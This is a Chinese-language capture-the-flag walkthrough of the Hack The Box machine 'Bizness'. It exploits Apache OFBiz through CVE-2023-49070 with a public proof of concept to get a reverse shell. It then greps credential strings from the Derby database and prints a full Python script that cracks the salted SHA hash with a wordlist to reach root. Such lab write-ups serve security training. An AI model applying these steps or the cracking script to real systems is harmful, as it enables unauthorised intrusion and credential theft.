Hack The Box-Bizness

Bizness

信息收集

使用nmap工具对ip进行扫描

nmap 10.10.11.252

在这里插入图片描述

发现开放了22、80、443三个端口

端口利用

访问ip

在这里插入图片描述

查看后发现没有其他功能点,于是进行目录扫描

在这里插入图片描述

发现该站点没有子域名,将dirsearch扫描出的目录进行遍历后,发现一个登录界面

在这里插入图片描述

能够看到该登录界面为Apache OFBiz组件,在尝试弱口令和万能密码无果后,搜索相关漏洞

在这里插入图片描述

发现存在漏洞CVE-2023-49070,前往https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/tree/master下载POC

首先检测漏洞是否存在

在这里插入图片描述

发现可能存在漏洞,继续利用POC中的命令执行进行反弹shell

在这里插入图片描述

反弹成功

权限提升

修改显示方式

在这里插入图片描述

在查看suid提权和内核版本提权无果后,注意到Apache OFBiz组件包含了数据库,因此尝试搜索从数据库当中搜索敏感信息

cd /opt/ofbiz/runtime/data/derby/ofbiz/seg0
grep -arin -o -E '(\w+\W+){0,5}password(\W+\w+){0,5}' .

在这里插入图片描述

发现数据库文件中有一段经过加盐的SHA密码

因为知道了盐,编写一段脚本将其进行暴力破解,看看是否能够破解出密码

import hashlib
import base64
import os
def cryptBytes(hash_type, salt, value):
    if not hash_type:
        hash_type = "SHA"
    if not salt:
        salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
    hash_obj = hashlib.new(hash_type)
    hash_obj.update(salt.encode('utf-8'))
    hash_obj.update(value)
    hashed_bytes = hash_obj.digest()
    result = f"${hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
    return result
def getCryptedBytes(hash_type, salt, value):
    try:
        hash_obj = hashlib.new(hash_type)
        hash_obj.update(salt.encode('utf-8'))
        hash_obj.update(value)
        hashed_bytes = hash_obj.digest()
        return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
    except hashlib.NoSuchAlgorithmException as e:
        raise Exception(f"Error while computing hash of type {hash_type}: {e}")
hash_type = "SHA1"
salt = "d"
search = "$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
wordlist = '/usr/share/wordlists/rockyou.txt'
with open(wordlist,'r',encoding='latin-1') as password_list:
    for password in password_list:
        value = password.strip()
        hashed_password = cryptBytes(hash_type, salt, value.encode('utf-8'))
        # print(hashed_password)
        if hashed_password == search:
            print(f'Found Password:{value}, hash:{hashed_password}')

在这里插入图片描述

跑出来密码为:monkeybizness

尝试切换到root用户

在这里插入图片描述

提权成功

  • 14
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值